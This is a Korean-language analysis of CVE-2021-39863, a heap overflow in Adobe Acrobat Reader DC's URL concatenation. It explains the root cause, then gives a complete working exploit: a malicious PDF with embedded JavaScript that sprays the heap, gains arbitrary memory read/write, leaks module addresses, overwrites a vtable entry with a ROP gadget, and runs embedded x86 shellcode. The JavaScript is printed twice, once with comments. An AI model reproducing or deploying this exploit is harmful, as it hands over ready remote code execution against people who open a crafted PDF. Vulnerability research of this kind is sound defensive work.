Analysis of CVE-2021-39863
사용한 버전: Adobe Acrobat Reader DC 2021.005.20048 32-bit
Root Cause
해당 CVE는 PDF에 내장되어 있는 base URL과 JSscript로 전달되는 relative URL을 연결할 때 IA32.api에서 relative URL의 인코딩 방식을 확인하지 않아서 즉, relative URL 방식이 UTF-16BE로 인코딩 되어 있다고 판단하여 relative URL 뒤
두 개의 널 바이트까지 연결되어 Heap overflow와 OOB read&write가 발생하는 취약점이다.
Exploitation
- r/w primitive 구현
연결된 URL을 저장할 배열과 relative URL을 저장할 배열을 선언해 주고 각 요소에 ArrayBuffer를 할당해 준다.
연결된 URL을 저장할 배열의 몇몇 요소를 NULL 또는 undefined로 초기화시킨다.
그 요소들에 연결된 URL을 저장한다.
이때 overflow가 발생하여 다음 배열의 요소의 bytelength가 0xFFFF가 된다.
이다음 배열의 요소의 bytelength를 0xFFFFFFFF(-1)이 되게 한다. (전체 ArrayBuffer 영역을 통제할 수 있음)
이때 bytelength가 -1로 변조된 배열의 요소를 r/w primitive로 설정한다.
- Arbitray r/w primitive 구현
이 단계에서는 위에서 설정한 r/w primitive의 VA를 얻는 과정이다.
bytelength가 -1로 변조된 ArrayBuffer가 저장된 Heap chunk의 Chunk Header에서 chunk number 획득한다.
동일 크기의 제일 첫 Heap chunk의 Chunk Header 시작 지점과 r/w primitive 사이 offset을 구해야 한다.
- chunk number, chunk size(0x808)
- Heap chunk의 Chunk Header 크기(0x8)
- ArrayBuffer의 header 크기(0x10)
- offset = chunk number * chunk size(0x808) + Chunk Header 크기(0x8) + ArrayBuffer header 크기(0x10)
r/w primitive와 Userblock이 정한 signature(0xF0E0D0C0) 사이 offset을 구해야 한다.
- signature가 0xF0E0D0C0 일 때까지 offset에 0x4를 더한다.
- BitmapData에 대한 포인터와 r/w primitive 사이의 거리를 구하기 위해 offset에 0xC를 빼준 뒤 BitmapData에 대한 VA를 획득한다.
- BitmapData에 대한 VA에 BitmapData에 대한 VA에서 r/w primitive 사이 거리(offset - 4)를 더해서 r/w primitive의 VA를 얻을 수 있다.
- Information Leak
이 단계에서는 Escript.api의 VA를 구해서 VirtualProtect 함수, r/w primitive의 property map 안의 getproperty() 함수,
ROP gadget의 VA를 유출하는 과정이다.
- ArrayBuffer 객체를 인자로 DataView 객체를 만들면, ArrayBuffer 객체의 capacity 필드에 DataView 객체의 VA가 저장
된다. DataView 객체는 elements_ 필드에 emptyElementsHeader의 VA를 저장한다. 이때 emptyElementsHeader는
EScipt.api의 data 영역에 고정된 offset으로 존재하기 때문에 이 점을 이용하여 EScipt.api의 VA를 구할 수 있다.
- ArrayBuffer 객체를 인자로 DataView 객체를 만들면, ArrayBuffer 객체의 capactiy 필드에 DataView 객체의 VA가 저장
된다. DataView 객체의 shape_ 필드에 Shape에 관련 정보가 저장되고 Shape Table에는 객체마다 갖고 있는 함수의
주소가 vtable의 형태로 저장되어 있다.
- property map 변조
r/w primitive의 존재하지 않은 property에 접근하면 property map 내 getproperty가 실행된다.
이때 getproperty() 함수의 VA를 ROP Gadget으로 덮어쓰면 getproperty가 아닌 ROP Gadget이 실행되어 아래에서
구성한 Fake Stack으로 이동하게 된다.
ROP Gadget은 아래 어셈블리로 구성되어 있다.
mov esp, 0x5D000001;
ret;
- Fake Stack 구성 및 Shellcode 실행
ROP Gadget이 esp를 0x5D000001로 옮기므로 해당 주소를 기준으로 fake stack을 설정한다.
- fake stack의 구성요소는 shellcode 크기, VirtualProtect 함수에 대한 포인터, shellcode가 저장된 VA,
변경할 보호 상수(0x40, rwx) , 이전의 보호 상수를 저장할 포인터이다.
ROP Gadget이 실행된 후 세부적인 과정은 다음과 같다.
- esp를 fake stack의 시작 주소인 0x5D000001 로 옮긴다.
- ret가 실행되고 pop eip로 eip는 VirtualProtect 함수에 대한 포인터를 가리킨다.
- jmp eip로 VirtualProtect 함수를 호출하기 때문에 RIP를 추가로 저장하지 않는다.
VirtualProtect 함수가 호출되어 shellcode가 저장된 메모리 영역에 실행권한을 부여한다.
기존의 fake stack에 존재하던 shellcode가 저장된 VA를 RIP로 둔다.
- eip가 shellcode가 저장된 VA를 가리키게 되며 shellcode가 실행된다.
전체 코드
pdf 코드
%PDF-1.7
1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
/AcroForm 6 0 R
/OpenAction 9 0 R
/URI 11 0 R
/NeedsRendering true
>>endobj
2 0 obj
<<
/Type /Pages
/Kids [3 0 R]
/Count 1
>>endobj
3 0 obj
<<
/Type /Page
/Parent 2 0 R
/Contents 4 0 R
/MediaBox [0 0 612 792]
/Annots [ 12 0 R ]
/Resources
<<
/Font <</F1 5 0 R>>
/ProcSet [/PDF /Text]
>>
/Annots [8 0 R]
>>
endobj
4 0 obj
<</Length 94>>
stream
BT
/F1 24 Tf
100 600 Td(Your PDF reader does not support XFA if you see this sentence.) Tj
ET
endstream
endobj
5 0 obj
<<
/Type /Font
/Subtype /Type1
/Name /F1
/BaseFont
/Helvetica
/Encoding
/MacRomanEncoding
>>endobj
6 0 obj
<<
/Fields [7 0 R]
/XFA 8 0 R
>>
endobj
7 0 obj
<<
/Type /Annot
/Subtype /Widget
/FT /Tx
/P 3 0 R
/T (MyField1)
/H /N
/F 6
/Ff 65536
/DA (/F1 12 Tf 1 1 1 rg)
/Rect [10 600 11 700]
/V (The quick brown fox ate the lazy mouse)
>>
endobj
8 0 obj
<</Length 1404>>
stream
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<template xmlns="http://www.xfa.org/schema/xfa-template/2.1/">
<subform name="form1" layout="tb" locale="en_US">
<pageSet>
<pageArea name="Page1" id="Page1">
<contentArea x="0.25in" y="0.25in" w="197.3mm" h="284.3mm"/>
</pageArea>
</pageSet>
<subform>
<draw name="Text" h="0.372417in" w="5.943625in">
<ui>
<textEdit>
<margin/>
</textEdit>
</ui>
<value>
<text></text>
</value>
<font size="24pt" typeface="Myriad Pro" baselineShift="0pt"/>
</draw>
</subform>
</subform>
</template>
<config xmlns="http://www.xfa.org/schema/xci/1.0/">
<present>
<destination>pdf</destination>
<pdf>
<interactive>1</interactive>
</pdf>
</present>
</config>
</xdp:xdp>
endstream
endobj
9 0 obj
<<
/Type /Action
/S /JavaScript
/JS 10 0 R
>>endobj
10 0 obj
<</Length 48>>
stream
//target adobe reader version��21.005.20060
console.show()
function gc() {
new ArrayBuffer(3 * 1024 * 1024 * 100);
}
var strRelUrlSize = 0x600;
var strConUrlSize = 0x800;
function createArrayBuffer(blocksize) {
var arr = new ArrayBuffer(blocksize - 0x10);
var u8 = new Uint8Array(arr);
for (var i = 0; i < arr.byteLength; i++) {
u8[i] = 0x42;
}
return arr;
}
var arrB = new Array(0xE0);
var sprayStr1 = unescape('%uFFFF%uFFFF%uFFFF%uFFFF%u0000') + unescape('%uFFFF').repeat((strRelUrlSize / 2) - 1 - 5);
for (var i = 0; i < arrB.length; i++) {
arrB[i] = sprayStr1.substr(0, (strRelUrlSize / 2) - 1).toUpperCase();
}
for (var i = 0x11; i < arrB.length; i += 10) {
arrB[i] = null;
arrB[i] = undefined;
}
var arrA = new Array(0x130);
for (var i = 0; i < arrA.length; i++) {
arrA[i] = createArrayBuffer(strConUrlSize);
}
for (var i = 0x11; i < arrA.length; i += 10) {
arrA[i] = null;
arrA[i] = undefined;
}
gc();
try {
this.submitForm('a'.repeat(strRelUrlSize - 1));
} catch (err) { }
for (var i = 0; i < arrA.length; i++) {
if (arrA[i] != null && arrA[i].byteLength == 0xFFFF) {
var temp = new DataView(arrA[i]);
temp.setInt32(0x7F0 + 0x8 + 0x4, 0xFFFFFFFF, true);
}
if (arrA[i] != null && arrA[i].byteLength == -1) {
var rw = new DataView(arrA[i]);
break;
}
}
if (rw) {
curChunkBlockOffset = rw.getUint8(0xFFFFFFED, true);
BitMapBufOffset = curChunkBlockOffset * (strConUrlSize + 8) + 0x18
for (var i = 0; i < 0x30; i += 4) {
BitMapBufOffset += 4;
signature = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true);
if (signature == 0xF0E0D0C0) {
BitMapBufOffset -= 0xC;
BitMapBuf = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true);
break;
}
}
if (BitMapBuf) {
StartAddr = BitMapBuf + BitMapBufOffset - 4;
//====================================================================================================================================
function readUint32(dataView, readAddr) {
var offsetAddr = readAddr - StartAddr;
if (offsetAddr < 0) {
offsetAddr = offsetAddr + 0xFFFFFFFF + 1;
}
return dataView.getUint32(offsetAddr, true);
}
function writeUint32(dataView, writeAddr, value) {
var offsetAddr = writeAddr - StartAddr;
if (offsetAddr < 0) {
offsetAddr = offsetAddr + 0xFFFFFFFF + 1;
}
return dataView.setUint32(offsetAddr, value, true);
}
var heapSegmentSize = 0x10000;
heapSpray = new Array(0x8000);
for (var i = 0; i < 0x8000; i++) {
heapSpray[i] = new ArrayBuffer(heapSegmentSize - 0x10 - 0x8);
}
EScriptModAddr = readUint32(rw, readUint32(rw, StartAddr - 8) + 0xC) - 0x277548;
VirtualProtectAddr = readUint32(rw, EScriptModAddr + 0x1B0060);
var shellcode = [0xec83e589, 0x64db3120, 0x8b305b8b, 0x5b8b0c5b, 0x8b1b8b1c, 0x08438b1b, 0x8bfc4589, 0xc3013c58, 0x01785b8b, 0x207b8bc3, 0x7d89c701, 0x244b8bf8, 0x4d89c101, 0x1c538bf4, 0x5589c201, 0x14538bf0, 0xebec5589, 0x8bc03132, 0x7d8bec55, 0x18758bf8, 0x8bfcc931, 0x7d03873c, 0xc18366fc, 0x74a6f308, 0xd0394005, 0x4d8be472, 0xf0558bf4, 0x41048b66, 0x0382048b, 0xbac3fc45, 0x63657878, 0x5208eac1, 0x6e695768, 0x18658945, 0xffffb8e8, 0x51c931ff, 0x78652e68, 0x61636865, 0xe389636c, 0xff535141, 0xb9c931d0, 0x73736501, 0x5108e9c1, 0x6f725068, 0x78456863, 0x65897469, 0xff87e818, 0xd231ffff, 0x00d0ff52];
var shellcodesize = shellcode.length * 4;
for (var i = 0; i < shellcode.length; i++) {
writeUint32(rw, StartAddr + 0x18 + i * 4, shellcode[i]);
}
var newStackAddr = 0x5D000001;
var offset = 0x1050AE;
writeUint32(rw, newStackAddr, VirtualProtectAddr); // RIP 1
writeUint32(rw, newStackAddr + 0x4, StartAddr + 0x18); // RIP 2
writeUint32(rw, newStackAddr + 0x8, StartAddr + 0x18); // Arg1 : 메모리 시작 주소
writeUint32(rw, newStackAddr + 0xC, shellcodesize); // Arg2 : 메모리 크기
writeUint32(rw, newStackAddr + 0x10, 0x40); // Arg3 : 메모리 보호 상수 : 0x40 : 실행 권한
writeUint32(rw, newStackAddr + 0x14, StartAddr + 0x14); // Arg4 : 이전 보호 상수 저장할 포인터
var dataViewObjPtr = rw.getUint32(0xFFFFFFFF + 0x1 - 0x8, true);
var dvShape = readUint32(rw, dataViewObjPtr);
var dvShapeBase = readUint32(rw, dvShape);
var dvShapeBaseClasp = readUint32(rw, dvShapeBase);
writeUint32(rw, dvShapeBaseClasp + 0x10, EScriptModAddr + offset);
var foo = rw.execFlowHijack;
}
}
endstream
endobj
11 0 obj
<<
/Base <FEFF68747470733A2F2F7777772E61612E636F6D2F414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141412F>
>>
endobj
xref
0000000000 65535 f
0000000010 00000 n
0000000143 00000 n
0000000219 00000 n
0000000443 00000 n
0000000588 00000 n
0000000724 00000 n
0000000781 00000 n
0000001033 00000 n
0000002491 00000 n
0000002570 00000 n
0000002600 00000 n
trailer <</Root 1 0 R/Size 12>>
startxref
2670
%%EOF
JS 코드
console.show()
function gc() {
new ArrayBuffer(3 * 1024 * 1024 * 100);
}
// Size of relative URL
var strRelUrlSize = 0x600;
// Size of concated URL (Size of base URL + Size of relative URL)
var strConUrlSize = 0x800;
// Generate Heap Area with given blocksize (including Heap shunk Header)
function createArrayBuffer(blocksize) {
var arr = new ArrayBuffer(blocksize - 0x10);
var u8 = new Uint8Array(arr);
for (var i = 0; i < arr.byteLength; i++) {
u8[i] = 0x42;
}
return arr;
}
// Create Heap Area to store relative URL adjacent with exploit string to overwrite byteLength field to -1
var arrB = new Array(0xE0);
// length of sprayStr1 = 2*5 + 2*((0x600/2) - 1 - 5) = 0xa + 2*(0x300 - 6) = 0x600 - 0x2 : Size of total string excluding 2 byte null (UTF16-BE)
var sprayStr1 = unescape('%uFFFF%uFFFF%uFFFF%uFFFF%u0000') + unescape('%uFFFF').repeat((strRelUrlSize / 2) - 1 - 5);
for (var i = 0; i < arrB.length; i++) {
// UTF16-BE는 2byte가 문자 1개 => null 2byte 포함 0x600 크기의 heap chunk에 할당하기 위해서는 0x300개의 문자 필요
// (strRelUrlSize/2) - 1 = 0x600/2 - 1 = 0x300 - 1 : null 문자 제와 0x2FF개의 문자
arrB[i] = sprayStr1.substr(0, (strRelUrlSize / 2) - 1).toUpperCase();
}
// make multiple hole
for (var i = 0x11; i < arrB.length; i += 10) {
arrB[i] = null;
arrB[i] = undefined;
}
// Create Heap Area to store concatted URL with ArrayBuffer object for Arbitrary R/W
var arrA = new Array(0x130);
for (var i = 0; i < arrA.length; i++) {
arrA[i] = createArrayBuffer(strConUrlSize);
}
// make multiple hole
for (var i = 0x11; i < arrA.length; i += 10) {
arrA[i] = null;
arrA[i] = undefined;
}
// garbage collection
gc();
// Trigger vulnerable
try {
this.submitForm('a'.repeat(strRelUrlSize - 1));
} catch (err) { }
// Corrupt byteLength field in ArrayBuffers next to the concatted URL ArrayBuffer
for (var i = 0; i < arrA.length; i++) {
if (arrA[i] != null && arrA[i].byteLength == 0xFFFF) {
var temp = new DataView(arrA[i]);
temp.setInt32(0x7F0 + 0x8 + 0x4, 0xFFFFFFFF, true);
}
if (arrA[i] != null && arrA[i].byteLength == -1) {
var rw = new DataView(arrA[i]);
break;
}
}
// Find the latest corrupted ArrayBuffer object and set DataView object of it (rw)
if (rw) {
// START getArbitraryRW
curChunkBlockOffset = rw.getUint8(0xFFFFFFED, true);
BitMapBufOffset = curChunkBlockOffset * (strConUrlSize + 8) + 0x18
// go until find UserBlock signature (0xF0E0D0C0)
for (var i = 0; i < 0x30; i += 4) {
BitMapBufOffset += 4;
signature = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true);
if (signature == 0xF0E0D0C0) {
BitMapBufOffset -= 0xC;
BitMapBuf = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true);
break;
}
}
if (BitMapBuf) {
// StartAddr : Address of start of data in ArrayBuffer
StartAddr = BitMapBuf + BitMapBufOffset - 4;
// END getArbitraryRW
// START helper function to R/W Arbitrary address
function readUint32(dataView, readAddr) {
var offsetAddr = readAddr - StartAddr;
if (offsetAddr < 0) {
offsetAddr = offsetAddr + 0xFFFFFFFF + 1;
}
return dataView.getUint32(offsetAddr, true);
}
function writeUint32(dataView, writeAddr, value) {
var offsetAddr = writeAddr - StartAddr;
if (offsetAddr < 0) {
offsetAddr = offsetAddr + 0xFFFFFFFF + 1;
}
return dataView.setUint32(offsetAddr, value, true);
}
// END helper function to R/W Arbitrary address
// sprayHeap for new Stack
var heapSegmentSize = 0x10000;
heapSpray = new Array(0x8000);
for (var i = 0; i < 0x8000; i++) {
heapSpray[i] = new ArrayBuffer(heapSegmentSize - 0x10 - 0x8);
}
// START getAddressLeaks
// leak and calculate the EScript base address
EScriptModAddr = readUint32(rw, readUint32(rw, StartAddr - 8) + 0xC) - 0x277548;
// leak VirtualProtect address in kernel32.dll wich is used by EScript
VirtualProtectAddr = readUint32(rw, EScriptModAddr + 0x1B0060);
// Set Shellcode
var shellcode = [0xec83e589, 0x64db3120, 0x8b305b8b, 0x5b8b0c5b, 0x8b1b8b1c, 0x08438b1b, 0x8bfc4589, 0xc3013c58, 0x01785b8b, 0x207b8bc3, 0x7d89c701, 0x244b8bf8, 0x4d89c101, 0x1c538bf4, 0x5589c201, 0x14538bf0, 0xebec5589, 0x8bc03132, 0x7d8bec55, 0x18758bf8, 0x8bfcc931, 0x7d03873c, 0xc18366fc, 0x74a6f308, 0xd0394005, 0x4d8be472, 0xf0558bf4, 0x41048b66, 0x0382048b, 0xbac3fc45, 0x63657878, 0x5208eac1, 0x6e695768, 0x18658945, 0xffffb8e8, 0x51c931ff, 0x78652e68, 0x61636865, 0xe389636c, 0xff535141, 0xb9c931d0, 0x73736501, 0x5108e9c1, 0x6f725068, 0x78456863, 0x65897469, 0xff87e818, 0xd231ffff, 0x00d0ff52];
var shellcodesize = shellcode.length * 4;
// Write Shell Code
for (var i = 0; i < shellcode.length; i++) {
writeUint32(rw, StartAddr + 0x18 + i * 4, shellcode[i]);
}
// Setup new Stack
var newStackAddr = 0x5D000001;
var offset = 0x1050AE;
writeUint32(rw, newStackAddr, VirtualProtectAddr); // RIP of previous Stack Frame
writeUint32(rw, newStackAddr + 0x4, StartAddr + 0x18); // RIP of VirtualProtect Stack Frame
writeUint32(rw, newStackAddr + 0x8, StartAddr + 0x18); // Arg1 : 메모리 시작 주소
writeUint32(rw, newStackAddr + 0xC, shellcodesize); // Arg2 : 메모리 크기
writeUint32(rw, newStackAddr + 0x10, 0x40); // Arg3 : 메모리 보호 상수 : 0x40 : 실행 권한
writeUint32(rw, newStackAddr + 0x14, StartAddr + 0x14); // Arg4 : 이전 보호 상수 저장할 포인터
// get address of vtable
var dataViewObjPtr = rw.getUint32(0xFFFFFFFF + 0x1 - 0x8, true);
var dvShape = readUint32(rw, dataViewObjPtr);
var dvShapeBase = readUint32(rw, dvShape);
var dvShapeBaseClasp = readUint32(rw, dvShapeBase);
// Overwrtite address of getProperty in vtable to ROP gadget
writeUint32(rw, dvShapeBaseClasp + 0x10, EScriptModAddr + offset);
// try to access unknown property => call overwritten getProperty in vtable
var foo = rw.execFlowHijack;
}
}